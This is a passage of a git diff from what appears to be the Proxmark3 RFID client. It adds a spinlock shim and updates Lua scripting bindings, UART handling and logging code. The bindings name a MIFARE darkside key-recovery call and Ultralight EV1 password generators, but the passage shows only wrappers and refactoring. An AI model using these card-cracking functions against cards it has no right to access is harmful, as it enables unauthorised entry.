defined(_WIN32) || (defined(__MACH__) && defined(__APPLE__)) InitGraphics(argc, argv, script_cmds_file, script_cmd, stayInCommandLoop); MainGraphics(); # else diff --git a/client/src/pthread_spin_lock_shim.h b/client/src/pthread_spin_lock_shim.h new file mode 100644 index 000000000..243771a6c --- /dev/null +++ b/client/src/pthread_spin_lock_shim.h @@ -0,0 +1,55 @@ +/* + +Required imports: +#include + +*/ + +#ifndef PTHREAD_SPIN_LOCK_SHIM +#define PTHREAD_SPIN_LOCK_SHIM + +typedef int pthread_spinlock_t; + +#ifndef PTHREAD_PROCESS_SHARED +# define PTHREAD_PROCESS_SHARED 1 +#endif +#ifndef PTHREAD_PROCESS_PRIVATE +# define PTHREAD_PROCESS_PRIVATE 2 +#endif + +static inline int pthread_spin_init(pthread_spinlock_t *lock, int pshared) { + __asm__ __volatile__("" ::: "memory"); + *lock = 0; + return 0; +} + +static inline int pthread_spin_destroy(pthread_spinlock_t *lock) { + return 0; +} + +static inline int pthread_spin_lock(pthread_spinlock_t *lock) { + while (1) { + int i; + for (i = 0; i < 10000; i++) { + if (__sync_bool_compare_and_swap(lock, 0, 1)) { + return 0; + } + } + sched_yield(); + } +} + +static inline int pthread_spin_trylock(pthread_spinlock_t *lock) { + if (__sync_bool_compare_and_swap(lock, 0, 1)) { + return 0; + } + return 16; // EBUSY; +} + +static inline int pthread_spin_unlock(pthread_spinlock_t *lock) { + __asm__ __volatile__("" ::: "memory"); + *lock = 0; + return 0; +} + +#endif diff --git a/client/src/scripting.c b/client/src/scripting.c index 9c289e9d1..1cd1ed1a0 100644 --- a/client/src/scripting.c +++ b/client/src/scripting.c @@ -22,6 +22,7 @@ #include #include "lauxlib.h" +#include "lua_bitlib.h" #include "cmdmain.h" #include "proxmark3.h" #include "comms.h" @@ -41,6 +42,7 @@ #include "crc16.h" #include "protocols.h" #include "fileutils.h" // searchfile +#include "cmdlf.h" // lf_config #include "generator.h" #include "cmdlfem4x05.h" // read 4305 #include "cmdlfem4x50.h" // read 4350 @@ -48,7 +50,7 @@ #include "iso7816/iso7816core.h" // ISODEPSTATE static int returnToLuaWithError(lua_State *L, const char *fmt, ...) { - char buffer[200]; + char buffer[1024]; va_list args; va_start(args, fmt); vsnprintf(buffer, sizeof(buffer), fmt, args); @@ -83,7 +85,7 @@ static int l_fast_push_mode(lua_State *L) { // Disable fast mode and send a dummy command to make it effective if (enable == false) { SendCommandNG(CMD_PING, NULL, 0); - if (!WaitForResponseTimeout(CMD_PING, NULL, 1000)) { + if (WaitForResponseTimeout(CMD_PING, NULL, 1000) == false) { PrintAndLogEx(WARNING, "command execution time out"); return returnToLuaWithError(L, "command execution time out"); } @@ -113,8 +115,9 @@ static int l_SendCommandMIX(lua_State *L) { // check number of arguments int n = lua_gettop(L); - if (n != 5) + if (n != 5) { return returnToLuaWithError(L, "You need to supply five parameters"); + } // parse input cmd = luaL_checknumber(L, 1); @@ -280,7 +283,7 @@ static int l_GetFromFlashMemSpiffs(lua_State *L) { return returnToLuaWithError(L, "No FLASH MEM support"); } - uint32_t start_index = 0, len = 0x40000; //FLASH_MEM_MAX_SIZE + uint32_t start_index = 0, len = 0x40000; // 256KB FLASH_MEM_MAX_SIZE as default value char destfilename[32] = {0}; size_t size; @@ -300,7 +303,7 @@ static int l_GetFromFlashMemSpiffs(lua_State *L) { // get size from spiffs itself ! SendCommandNG(CMD_SPIFFS_STAT, (uint8_t *)destfilename, 32); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_SPIFFS_STAT, &resp, 2000)) + if (WaitForResponseTimeout(CMD_SPIFFS_STAT, &resp, 2000) == false) return returnToLuaWithError(L, "No response from the device"); len = resp.data.asDwords[0]; @@ -318,7 +321,7 @@ static int l_GetFromFlashMemSpiffs(lua_State *L) { } lua_pushlstring(L, (const char *)data, len); - lua_pushunsigned(L, len); + lua_pushinteger(L, len); free(data); return 2; } @@ -341,12 +344,14 @@ static int l_WaitForResponseTimeout(lua_State *L) { return returnToLuaWithError(L, "You need to supply at least command to wait for"); // extract first param. cmd byte to look for - if (n >= 1) - cmd = luaL_checkunsigned(L, 1); + if (n >= 1) { + cmd = (uint32_t)luaL_checkinteger(L, 1); + } // extract second param. timeout value - if (n >= 2) - ms_timeout = luaL_checkunsigned(L, 2); + if (n >= 2) { + ms_timeout = (size_t)luaL_checkinteger(L, 2); + } PacketResponseNG resp; if (WaitForResponseTimeout(cmd, &resp, ms_timeout) == false) { @@ -368,6 +373,9 @@ static int l_WaitForResponseTimeout(lua_State *L) { memcpy(foo + n, &resp.status, sizeof(resp.status)); n += sizeof(resp.status); + memcpy(foo + n, &resp.reason, sizeof(resp.reason)); + n += sizeof(resp.reason); + memcpy(foo + n, &resp.crc, sizeof(resp.crc)); n += sizeof(resp.crc); @@ -417,7 +425,7 @@ static int l_mfDarkside(lua_State *L) { break; } - int retval = mfDarkside(blockno & 0xFF, keytype & 0xFF, &key); + int retval = mf_dark_side(blockno & 0xFF, keytype & 0xFF, &key); uint8_t dest_key[8]; num_to_bytes(key, sizeof(dest_key), dest_key); @@ -641,7 +649,7 @@ static int l_crc8legic(lua_State *L) { size_t size; const char *p_hexstr = luaL_checklstring(L, 1, &size); uint16_t retval = CRC8Legic((uint8_t *)p_hexstr, size); - lua_pushunsigned(L, retval); + lua_pushinteger(L, retval); return 1; } @@ -657,7 +665,7 @@ static int l_crc16legic(lua_State *L) { init_table(CRC_LEGIC_16); uint16_t retval = crc16_legic((uint8_t *)p_hexstr, hexsize, uidcrc); - lua_pushunsigned(L, retval); + lua_pushinteger(L, retval); return 1; } @@ -667,7 +675,7 @@ static int l_crc16(lua_State *L) { const char *p_str = luaL_checklstring(L, 1, &size); uint16_t checksum = Crc16ex(CRC_CCITT, (uint8_t *) p_str, size); - lua_pushunsigned(L, checksum); + lua_pushinteger(L, checksum); return 1; } @@ -733,9 +741,10 @@ static int l_reveng_models(lua_State *L) { #define NMODELS 106 int count = 0; - uint8_t in_width = luaL_checkunsigned(L, 1); - if (in_width > 89) + uint8_t in_width = (uint8_t)luaL_checkinteger(L, 1); + if (in_width > 89) { return returnToLuaWithError(L, "Width cannot exceed 89, got %d", in_width); + } uint8_t width[NMODELS]; memset(width, 0, sizeof(width)); @@ -743,8 +752,9 @@ static int l_reveng_models(lua_State *L) { width[0] = in_width; - if (!GetModels(models, &count, width)) + if (!GetModels(models, &count, width)) { return returnToLuaWithError(L, "didn't find any models"); + } lua_newtable(L); for (int i = 0; i < count; i++) { @@ -914,8 +924,8 @@ static int l_keygen_algoB(lua_State *L) { uint32_t pwd = ul_ev1_pwdgenB(uid); uint16_t pack = ul_ev1_packgenB(uid); - lua_pushunsigned(L, pwd); - lua_pushunsigned(L, pack); + lua_pushinteger(L, pwd); + lua_pushinteger(L, pack); return 2; } @@ -947,8 +957,8 @@ static int l_keygen_algoD(lua_State *L) { uint32_t pwd = ul_ev1_pwdgenD(uid); uint16_t pack = ul_ev1_packgenD(uid); - lua_pushunsigned(L, pwd); - lua_pushunsigned(L, pack); + lua_pushinteger(L, pwd); + lua_pushinteger(L, pack); return 2; } @@ -1035,7 +1045,7 @@ static int l_T55xx_readblock(lua_State *L) { return returnToLuaWithError(L, "Failed to get actual data"); } - lua_pushunsigned(L, blockData); + lua_pushinteger(L, blockData); return 1; } @@ -1375,6 +1385,10 @@ static int setLuaPath(lua_State *L, const char *path) { const char *cur_path = lua_tostring(L, -1); // grab path string from top of stack int requiredLength = strlen(cur_path) + strlen(path) + 10; //A few bytes too many, whatever we can afford it char *buf = calloc(requiredLength, sizeof(char)); + if (buf == NULL) { + lua_pop(L, 1); // get rid of package table from top of stack + return returnToLuaWithError(L, "Failed to allocate memory"); + } snprintf(buf, requiredLength, "%s;%s", cur_path, path); lua_pop(L, 1); // get rid of the string on the stack we just pushed on line 5 lua_pushstring(L, buf); // push the new one @@ -1434,16 +1448,12 @@ int set_pm3_libraries(lua_State *L) { }; lua_pushglobaltable(L); - // Core library is in this table. Contains ' - // this is 'pm3' table - lua_newtable(L); - // put the function into the hash table. - for (int i = 0; libs[i].name; i++) { - lua_pushcfunction(L, libs[i].func); - lua_setfield(L, -2, libs[i].name);//set the name, pop stack - } - // Name of 'core' + // bit32 compatibility shim + register_bit32_lib(L); + + // Core module + luaL_newlib(L, libs); lua_setfield(L, -2, "core"); // remove the global environment table from the stack diff --git a/client/src/uart/uart_common.c b/client/src/uart/uart_common.c index e10897326..f797d763c 100644 --- a/client/src/uart/uart_common.c +++ b/client/src/uart/uart_common.c @@ -39,31 +39,36 @@ #endif bool uart_bind(void *socket, const char *bindAddrStr, const char *bindPortStr, bool isBindingIPv6) { - if (bindAddrStr == NULL && bindPortStr == NULL) + if (bindAddrStr == NULL && bindPortStr == NULL) { return true; // no need to bind + } struct sockaddr_storage bindSockaddr; memset(&bindSockaddr, 0, sizeof(bindSockaddr)); int bindPort = 0; // 0: port unspecified - if (bindPortStr != NULL) + if (bindPortStr != NULL) { bindPort = atoi(bindPortStr); + } - if (!isBindingIPv6) { + if (isBindingIPv6 == false) { struct sockaddr_in *bindSockaddr4 = (struct sockaddr_in *)&bindSockaddr; bindSockaddr4->sin_family = AF_INET; bindSockaddr4->sin_port = htons(bindPort); - if (bindAddrStr == NULL) + if (bindAddrStr == NULL) { bindSockaddr4->sin_addr.s_addr = INADDR_ANY; - else + } else { bindSockaddr4->sin_addr.s_addr = inet_addr(bindAddrStr); + } + } else { struct sockaddr_in6 *bindSockaddr6 = (struct sockaddr_in6 *)&bindSockaddr; bindSockaddr6->sin6_family = AF_INET6; bindSockaddr6->sin6_port = htons(bindPort); - if (bindAddrStr == NULL) + if (bindAddrStr == NULL) { bindSockaddr6->sin6_addr = in6addr_any; - else + } else { inet_pton(AF_INET6, bindAddrStr, &(bindSockaddr6->sin6_addr)); + } } #ifdef _WIN32 int res = bind(*(SOCKET *)socket, (struct sockaddr *)&bindSockaddr, sizeof(bindSockaddr)); diff --git a/client/src/uart/uart_posix.c b/client/src/uart/uart_posix.c index 20b249a5d..7e569a97a 100644 --- a/client/src/uart/uart_posix.c +++ b/client/src/uart/uart_posix.c @@ -86,7 +86,7 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) { serial_port_unix_t_t *sp = calloc(sizeof(serial_port_unix_t_t), sizeof(uint8_t)); if (sp == 0) { - PrintAndLogEx(ERR, "UART failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return INVALID_SERIAL_PORT; } @@ -362,8 +362,9 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) { // Freshly available port can take a while before getting permission to access it. Up to 600ms on my machine... for (uint8_t i = 0; i < 10; i++) { sp->fd = open(pcPortName, O_RDWR | O_NOCTTY | O_NDELAY | O_NONBLOCK); - if (sp->fd != -1 || errno != EACCES) + if (sp->fd != -1 || errno != EACCES) { break; + } msleep(100); } if (sp->fd == -1) { @@ -450,6 +451,7 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) { void uart_close(const serial_port sp) { serial_port_unix_t_t *spu = (serial_port_unix_t_t *)sp; + msleep(100); tcflush(spu->fd, TCIOFLUSH); tcsetattr(spu->fd, TCSANOW, &(spu->tiOld)); struct flock fl; @@ -477,7 +479,7 @@ int uart_receive(const serial_port sp, uint8_t *pbtRx, uint32_t pszMaxRxLen, uin const serial_port_unix_t_t *spu = (serial_port_unix_t_t *)sp; if (newtimeout_pending) { - timeout.tv_usec = newtimeout_value * 1000; + timeout.tv_usec = ((suseconds_t)newtimeout_value) * 1000; newtimeout_pending = false; } // Reset the output count @@ -711,14 +713,16 @@ bool uart_set_speed(serial_port sp, const uint32_t uiPortSpeed) { }; struct termios ti; - if (tcgetattr(spu->fd, &ti) == -1) + if (tcgetattr(spu->fd, &ti) == -1) { return false; + } // Set port speed (Input and Output) cfsetispeed(&ti, stPortSpeed); cfsetospeed(&ti, stPortSpeed); // flush + msleep(100); tcflush(spu->fd, TCIOFLUSH); bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1; diff --git a/client/src/uart/uart_win32.c b/client/src/uart/uart_win32.c index b96013368..41dd6f732 100644 --- a/client/src/uart/uart_win32.c +++ b/client/src/uart/uart_win32.c @@ -84,11 +84,10 @@ static int uart_reconfigure_timeouts_polling(serial_port sp) { } serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) { - char acPortName[255] = {0}; - serial_port_windows_t *sp = calloc(sizeof(serial_port_windows_t), sizeof(uint8_t)); - if (sp == 0) { - PrintAndLogEx(WARNING, "UART failed to allocate memory\n"); + serial_port_windows_t *sp = calloc(sizeof(serial_port_windows_t), sizeof(uint8_t)); + if (sp == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return INVALID_SERIAL_PORT; } @@ -99,6 +98,8 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) { g_conn.send_via_local_ip = false; g_conn.send_via_ip = PM3_NONE; + char acPortName[255] = {0}; + char *prefix = str_dup(pcPortName); if (prefix == NULL) { PrintAndLogEx(ERR, "error: string duplication"); diff --git a/client/src/ui.c b/client/src/ui.c index b682dee49..1901ac9ef 100644 --- a/client/src/ui.c +++ b/client/src/ui.c @@ -85,6 +85,7 @@ int searchHomeFilePath(char **foundpath, const char *subdir, const char *filenam size_t pathlen = strlen(user_path) + strlen(PM3_USER_DIRECTORY) + 1; char *path = calloc(pathlen, sizeof(char)); if (path == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -120,6 +121,7 @@ int searchHomeFilePath(char **foundpath, const char *subdir, const char *filenam pathlen += strlen(subdir); char *tmp = realloc(path, pathlen * sizeof(char)); if (tmp == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(path); return PM3_EMALLOC; } @@ -157,6 +159,7 @@ int searchHomeFilePath(char **foundpath, const char *subdir, const char *filenam pathlen += strlen(filename); char *tmp = realloc(path, pathlen * sizeof(char)); if (tmp == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(path); return PM3_EMALLOC; } @@ -180,12 +183,13 @@ static void fill_grabber(const char *string) { char *tmp = realloc(g_grabbed_output.ptr, g_grabbed_output.size + MAX_PRINT_BUFFER); if (tmp == NULL) { // We leave current g_grabbed_output untouched - PrintAndLogEx(ERR, "Out of memory error in fill_grabber()"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; } g_grabbed_output.ptr = tmp; g_grabbed_output.size += MAX_PRINT_BUFFER; } + int len = snprintf(g_grabbed_output.ptr + g_grabbed_output.idx, MAX_PRINT_BUFFER, "%s", string); if (len < 0 || len > MAX_PRINT_BUFFER) { // We leave current g_grabbed_output_len untouched @@ -196,24 +200,34 @@ static void fill_grabber(const char *string) { } void PrintAndLogOptions(const char *str[][2], size_t size, size_t space) { + char buff[2000] = "Options:\n"; char format[2000] = ""; size_t counts[2] = {0, 0}; - for (size_t i = 0; i < size; i++) - for (size_t j = 0 ; j < 2 ; j++) + + for (size_t i = 0; i < size; i++) { + for (size_t j = 0 ; j < 2 ; j++) { if (counts[j] < strlen(str[i][j])) { counts[j] = strlen(str[i][j]); } + } + } + for (size_t i = 0; i < size; i++) { + for (size_t j = 0; j < 2; j++) { - if (j == 0) + if (j == 0) { snprintf(format, sizeof(format), "%%%zus%%%zus", space, counts[j]); - else + } else { snprintf(format, sizeof(format), "%%%zus%%-%zus", space, counts[j]); + } + snprintf(buff + strlen(buff), sizeof(buff) - strlen(buff), format, " ", str[i][j]); } - if (i < size - 1) + + if (i < size - 1) { strncat(buff, "\n", sizeof(buff) - strlen(buff) - 1); + } } PrintAndLogEx(NORMAL, "%s", buff); } @@ -223,12 +237,14 @@ static uint8_t PrintAndLogEx_spinidx = 0; void PrintAndLogEx(logLevel_t level, const char *fmt, ...) { // skip debug messages if client debugging is turned off i.e. 'DATA SETDEBUG -0' - if (g_debugMode == 0 && level == DEBUG) + if (g_debugMode == 0 && level == DEBUG) { return; + } // skip HINT messages if client has hints turned off i.e. 'HINT 0' - if (g_session.show_hints == false && level == HINT) + if (g_session.show_hints == false && level == HINT) { return; + } char prefix[40] = {0}; char buffer[MAX_PRINT_BUFFER] = {0}; @@ -242,17 +258,19 @@ void PrintAndLogEx(logLevel_t level, const char *fmt, ...) { }; switch (level) { case ERR: - if (g_session.emoji_mode == EMO_EMOJI) + if (g_session.emoji_mode == EMO_EMOJI) { strncpy(prefix, "[" _RED_("!!") "] :rotating_light: ", sizeof(prefix) - 1); - else + } else { strncpy(prefix, "[" _RED_("!!") "] ", sizeof(prefix) - 1); + } stream = stderr; break; case FAILED: - if (g_session.emoji_mode == EMO_EMOJI) + if (g_session.emoji_mode == EMO_EMOJI) { strncpy(prefix, "[" _RED_("-") "] :no_entry: ", sizeof(prefix) - 1); - else + } else { strncpy(prefix, "[" _RED_("-") "] ", sizeof(prefix) - 1); + } break; case DEBUG: strncpy(prefix, "[" _BLUE_("#") "] ", sizeof(prefix) - 1); @@ -264,10 +282,11 @@ void PrintAndLogEx(logLevel_t level, const char *fmt, ...) { strncpy(prefix, "[" _GREEN_("+") "] ", sizeof(prefix) - 1); break; case WARNING: - if (g_session.emoji_mode == EMO_EMOJI) + if (g_session.emoji_mode == EMO_EMOJI) { strncpy(prefix, "[" _CYAN_("!") "] :warning: ", sizeof(prefix) - 1); - else + } else { strncpy(prefix, "[" _CYAN_("!") "] ", sizeof(prefix) - 1); + } break; case INFO: strncpy(prefix, "[" _YELLOW_("=") "] ", sizeof(prefix) - 1); @@ -276,13 +295,15 @@ void PrintAndLogEx(logLevel_t level, const char *fmt, ...) { if (g_session.emoji_mode == EMO_EMOJI) { strncpy(prefix, spinner_emoji[PrintAndLogEx_spinidx], sizeof(prefix) - 1); PrintAndLogEx_spinidx++; - if (PrintAndLogEx_spinidx >= ARRAYLEN(spinner_emoji)) + if (PrintAndLogEx_spinidx >= ARRAYLEN(spinner_emoji)) { PrintAndLogEx_spinidx = 0; + } } else { strncpy(prefix, spinner[PrintAndLogEx_spinidx], sizeof(prefix) - 1); PrintAndLogEx_spinidx++; - if (PrintAndLogEx_spinidx >= ARRAYLEN(spinner)) + if (PrintAndLogEx_spinidx >= ARRAYLEN(spinner)) { PrintAndLogEx_spinidx = 0; + } } break; case NORMAL: @@ -306,8 +327,9 @@ void PrintAndLogEx(logLevel_t level, const char *fmt, ...) { const char delim[2] = "\n"; // line starts with newline - if (buffer[0] == '\n') + if (buffer[0] == '\n') { fPrintAndLog(stream, ""); + } token = strtok_r(buffer, delim, &tmp_ptr); @@ -315,16 +337,21 @@ void PrintAndLogEx(logLevel_t level, const char *fmt, ...) { size_t size = strlen(buffer2); - if (strlen(token)) + if (strlen(token)) { snprintf(buffer2 + size, sizeof(buffer2) - size, "%s%s\n", prefix, token); - else + } else { snprintf(buffer2 + size, sizeof(buffer2) - size, "\n"); + } token = strtok_r(NULL, delim, &tmp_ptr); } + fPrintAndLog(stream, "%s", buffer2); + } else { + snprintf(buffer2, sizeof(buffer2), "%s%s", prefix, buffer); + if (level == INPLACE) { // ignore INPLACE if rest of output is grabbed if (!(g_printAndLog & PRINTANDLOG_GRAB)) { @@ -354,6 +381,7 @@ static void fPrintAndLog(FILE *stream, const char *fmt, ...) { if (logging && g_session.incognito) { logging = 0; } + if ((g_printAndLog & PRINTANDLOG_LOG) && logging && !logfile) { char *my_logfile_path = NULL; char filename[40]; @@ -361,11 +389,15 @@ static void fPrintAndLog(FILE *stream, const char *fmt, ...) { time_t now = time(NULL); timenow = gmtime(&now); strftime(filename, sizeof(filename), PROXLOG, timenow); + if (searchHomeFilePath(&my_logfile_path, LOGS_SUBDIR, filename, true) != PM3_SUCCESS) { + printf(_YELLOW_("[-]") " Logging disabled!\n"); my_logfile_path = NULL; logging = 0; + } else { + logfile = fopen(my_logfile_path, "a"); if (logfile == NULL) { printf(_YELLOW_("[-]") " Can't open logfile %s, logging disabled!\n", my_logfile_path); @@ -392,18 +424,13 @@ static void fPrintAndLog(FILE *stream, const char *fmt, ...) { #ifdef RL_STATE_READCMD // We are using GNU readline. libedit (OSX) doesn't support this flag. int need_hack = (rl_readline_state & RL_STATE_READCMD) > 0; - char *saved_line; - int saved_point; + char *saved_line = NULL; if (need_hack) { - saved_point = rl_point; saved_line = rl_copy_text(0, rl_end); - rl_save_prompt(); - rl_replace_line("", 0); - rl_redisplay(); + rl_clear_visible_line(); } #endif - va_start(argptr, fmt); vsnprintf(buffer, sizeof(buffer), fmt, argptr); va_end(argptr); @@ -411,21 +438,23 @@ static void fPrintAndLog(FILE *stream, const char *fmt, ...) { linefeed = false; buffer[strlen(buffer) - 1] = 0; } + bool filter_ansi = !g_session.supports_colors; memcpy_filter_ansi(buffer2, buffer, sizeof(buffer), filter_ansi); - if (g_printAndLog & PRINTANDLOG_PRINT) { + + if ((g_printAndLog & PRINTANDLOG_PRINT) == PRINTANDLOG_PRINT) { memcpy_filter_emoji(buffer3, buffer2, sizeof(buffer2), g_session.emoji_mode); fprintf(stream, "%s", buffer3); - if (linefeed) + if (linefeed) { fprintf(stream, "\n"); + } + fflush(stream); } #ifdef RL_STATE_READCMD - // We are using GNU readline. libedit (OSX) doesn't support this flag. if (need_hack) { - rl_restore_prompt(); + rl_on_new_line(); rl_replace_line(saved_line, 0); - rl_point = saved_point; rl_redisplay(); free(saved_line); } @@ -433,33 +462,44 @@ static void fPrintAndLog(FILE *stream, const char *fmt, ...) { if (((g_printAndLog & PRINTANDLOG_LOG) && logging && logfile) || (g_printAndLog & PRINTANDLOG_GRAB)) { + memcpy_filter_emoji(buffer3, buffer2, sizeof(buffer2), EMO_ALTTEXT); - if (!filter_ansi) { + + if (filter_ansi == false) { memcpy_filter_ansi(buffer, buffer3, sizeof(buffer3), true); } } + if ((g_printAndLog & PRINTANDLOG_LOG) && logging && logfile) { + if (filter_ansi) { fprintf(logfile, "%s", buffer3); } else { fprintf(logfile, "%s", buffer); } - if (linefeed) + + if (linefeed) { fprintf(logfile, "\n"); + } fflush(logfile); } + if (g_printAndLog & PRINTANDLOG_GRAB) { + if (filter_ansi) { fill_grabber(buffer3); } else { fill_grabber(buffer); } - if (linefeed) + + if (linefeed) { fill_grabber("\n"); + } } - if (flushAfterWrite) + if (flushAfterWrite) { fflush(stdout); + } //release lock pthread_mutex_unlock(&g_print_lock); @@ -478,9 +518,10 @@ void memcpy_filter_rlmarkers(void *dest, const void *src, size_t n) { uint8_t *rsrc = (uint8_t *)src; uint16_t si = 0; for (size_t i = 0; i < n; i++) { - if ((rsrc[i] == '\001') || (rsrc[i] == '\002')) + if ((rsrc[i] == '\001') || (rsrc[i] == '\002')) { // skip readline special markers continue; + } rdest[si++] = rsrc[i]; } } @@ -622,88 +663,23 @@ void memcpy_filter_emoji(void *dest, const void *src, size_t n, emojiMode_t mode } } -/* -// If reactivated, beware it doesn't compile on Android (DXL) -void iceIIR_Butterworth(int *data, const size_t len) { - - int *output = (int *) calloc(sizeof(int) * len, sizeof(uint8_t)); - if (!output) return; - - // clear mem - memset(output, 0x00, len); - - size_t adjustedLen = len; - float fc = 0.1125f; // center frequency - - // create very simple low-pass filter to remove images (2nd-order Butterworth) - float complex iir_buf[3] = {0, 0, 0}; - float b[3] = {0.003621681514929, 0.007243363029857, 0.003621681514929}; - float a[3] = {1.000000000000000, -1.822694925196308, 0.837181651256023}; - - for (size_t i = 0; i < adjustedLen; ++i) { - - float sample = data[i]; // input sample read from array - float complex x_prime = 1.0f; // save sample for estimating frequency - float complex x; - - // remove DC offset and mix to complex baseband - x = (sample - 127.5f) * cexpf(_Complex_I * 2 * M_PI * fc * i); - - // apply low-pass filter, removing spectral image (IIR using direct-form II) - iir_buf[2] = iir_buf[1]; - iir_buf[1] = iir_buf[0]; - iir_buf[0] = x - a[1] * iir_buf[1] - a[2] * iir_buf[2]; - x = b[0] * iir_buf[0] + - b[1] * iir_buf[1] + - b[2] * iir_buf[2]; - - // compute instantaneous frequency by looking at phase difference - // between adjacent samples - float freq = cargf(x * conjf(x_prime)); - x_prime = x; // retain this sample for next iteration - - output[i] = (freq > 0) ? 127 : -127; - } - - // show data - //memcpy(data, output, adjustedLen); - for (size_t j = 0; j < adjustedLen; ++j) - data[j] = output[j]; - - free(output); -} -*/ - -void iceSimple_Filter(int *data, const size_t len, uint8_t k) { -// ref: http://www.edn.com/design/systems-design/4320010/A-simple-software-lowpass-filter-suits-embedded-system-applications -// parameter K -#define FILTER_SHIFT 4 - - int32_t filter_reg = 0; - int8_t shift = (k <= 8) ? k : FILTER_SHIFT; - - for (size_t i = 0; i < len; ++i) { - // Update filter with current sample - filter_reg = filter_reg - (filter_reg >> shift) + data[i]; - - // Scale output for unity gain - data[i] = filter_reg >> shift; - } -} - void print_progress(uint64_t count, uint64_t max, barMode_t style) { int cols = 100 + 35; max = (count > max) ? count : max; #if defined(HAVE_READLINE) static int prev_cols = 0; - int rows; - rl_reset_screen_size(); // refresh Readline idea of the actual screen width - rl_get_screen_size(&rows, &cols); + int tmp_cols; + rl_get_screen_size(NULL, &tmp_cols); + // if cols==0: impossible to get screen size, e.g. when scripted + if (tmp_cols != 0) { + // don't call it if cols==0, it would segfault + rl_reset_screen_size(); // refresh Readline idea of the actual screen width + rl_get_screen_size(NULL, &cols); - if (cols < 36) - return; + if (cols < 36) + return; + } - (void) rows; if (prev_cols > cols) { PrintAndLogEx(NORMAL, _CLEAR_ _TOP_ ""); } @@ -736,6 +712,10 @@ void print_progress(uint64_t count, uint64_t max, barMode_t style) { size_t unit = strlen(block[mode]); // +1 for \0 char *bar = (char *)calloc(unit * width + 1, sizeof(uint8_t)); + if (bar == NULL) { + fprintf(stderr, "Failed to allocate memory\n"); + return; + } uint8_t value = PERCENTAGE(count, max); @@ -760,6 +740,11 @@ void print_progress(uint64_t count, uint64_t max, barMode_t style) { // color buffer size_t collen = strlen(bar) + 40; char *cbar = (char *)calloc(collen, sizeof(uint8_t)); + if (cbar == NULL) { + fprintf(stderr, "Failed to allocate memory\n"); + free(bar); + return; + } // Add colors if (g_session.supports_colors) { diff --git a/client/src/ui.h b/client/src/ui.h index 09a107ba4..b79798862 100644 --- a/client/src/ui.h +++ b/client/src/ui.h @@ -63,6 +63,9 @@ typedef struct { char *history_path; pm3_device_t *current_device; uint32_t timeout; + char *mqtt_server; + char *mqtt_port; + char *mqtt_topic; } session_arg_t; extern session_arg_t g_session; @@ -88,8 +91,6 @@ extern pthread_mutex_t g_print_lock; void print_progress(uint64_t count, uint64_t max, barMode_t style); -void iceIIR_Butterworth(int *data, const size_t len); -void iceSimple_Filter(int *data, const size_t len, uint8_t k); #ifdef __cplusplus } #endif diff --git a/client/src/util.c b/client/src/util.c index fa3df7d79..133f639ee 100644 --- a/client/src/util.c +++ b/client/src/util.c @@ -73,6 +73,7 @@ int kbd_enter_pressed(void) { c = getchar(); ret |= c == '\n'; } while (c != EOF); + //blocking flags &= ~O_NONBLOCK; if (fcntl(STDIN_FILENO, F_SETFL, flags) < 0) { @@ -152,10 +153,10 @@ void FillFileNameByUID(char *filenamePrefix, const uint8_t *uid, const char *ext int len = strlen(filenamePrefix); - for (int j = 0; j < uidlen; j++) { + for (int i = 0; i < uidlen; i++) { // This is technically not the safest option, but there is no way to make this work without changing the function signature // Possibly todo for future PR, but given UID lenghts are defined by program and not variable, should not be an issue - snprintf(filenamePrefix + len + j * 2, 3, "%02X", uid[j]); + snprintf(filenamePrefix + len + i * 2, 3, "%02X", uid[i]); } strcat(filenamePrefix, ext); @@ -191,13 +192,15 @@ int FillBuffer(uint8_t *data, size_t maxDataLength, size_t *dataLength, ...) { } bool CheckStringIsHEXValue(const char *value) { - for (size_t i = 0; i < strlen(value); i++) - if (!isxdigit(value[i])) - return false; - - if (strlen(value) % 2) + if (strlen(value) % 2) { return false; + } + for (size_t i = 0; i < strlen(value); i++) { + if (isxdigit(value[i]) == 0) { + return false; + } + } return true; } @@ -218,11 +221,13 @@ void ascii_to_buffer(uint8_t *buf, const uint8_t *hex_data, const size_t hex_len } size_t m = (min_str_len > i) ? min_str_len : 0; - if (m > hex_max_len) + if (m > hex_max_len) { m = hex_max_len; + } - for (; i < m; i++, tmp++) + for (; i < m; i++, tmp++) { *tmp = ' '; + } // remove last space *tmp = '\0'; @@ -232,8 +237,9 @@ void hex_to_buffer(uint8_t *buf, const uint8_t *hex_data, const size_t hex_len, const size_t min_str_len, const size_t spaces_between, bool uppercase) { // sanity check - if (buf == NULL || hex_len < 1) + if (buf == NULL || hex_len < 1) { return; + } // 1. hex string length. // 2. byte array to be converted to string @@ -250,18 +256,22 @@ void hex_to_buffer(uint8_t *buf, const uint8_t *hex_data, const size_t hex_len, *(tmp++) = b2s((hex_data[i] >> 4), uppercase); *(tmp++) = b2s(hex_data[i], uppercase); - for (size_t j = 0; j < spaces_between; j++) + for (size_t j = 0; j < spaces_between; j++) { *(tmp++) = ' '; + } } i *= (2 + spaces_between); size_t m = (min_str_len > i) ? min_str_len : 0; - if (m > hex_max_len) - m = hex_max_len; - while (m--) + if (m > hex_max_len) { + m = hex_max_len; + } + + while (m--) { *(tmp++) = ' '; + } // remove last space *tmp = '\0'; @@ -272,9 +282,9 @@ void hex_to_buffer(uint8_t *buf, const uint8_t *hex_data, const size_t hex_len, void print_hex(const uint8_t *data, const size_t len) { if (data == NULL || len == 0) return; - for (size_t i = 0; i < len; i++) + for (size_t i = 0; i < len; i++) { PrintAndLogEx(NORMAL, "%02x " NOLF, data[i]); - + } PrintAndLogEx(NORMAL, ""); } @@ -529,7 +539,7 @@ char *sprint_hex_ascii(const uint8_t *data, const size_t len) { while (i < max_len) { unsigned char c = (unsigned char)data[i]; - tmp[pos + i] = isprint(c) ? c : '.'; + tmp[pos + i] = (isprint(c) && c != 0xff) ? c : '.'; 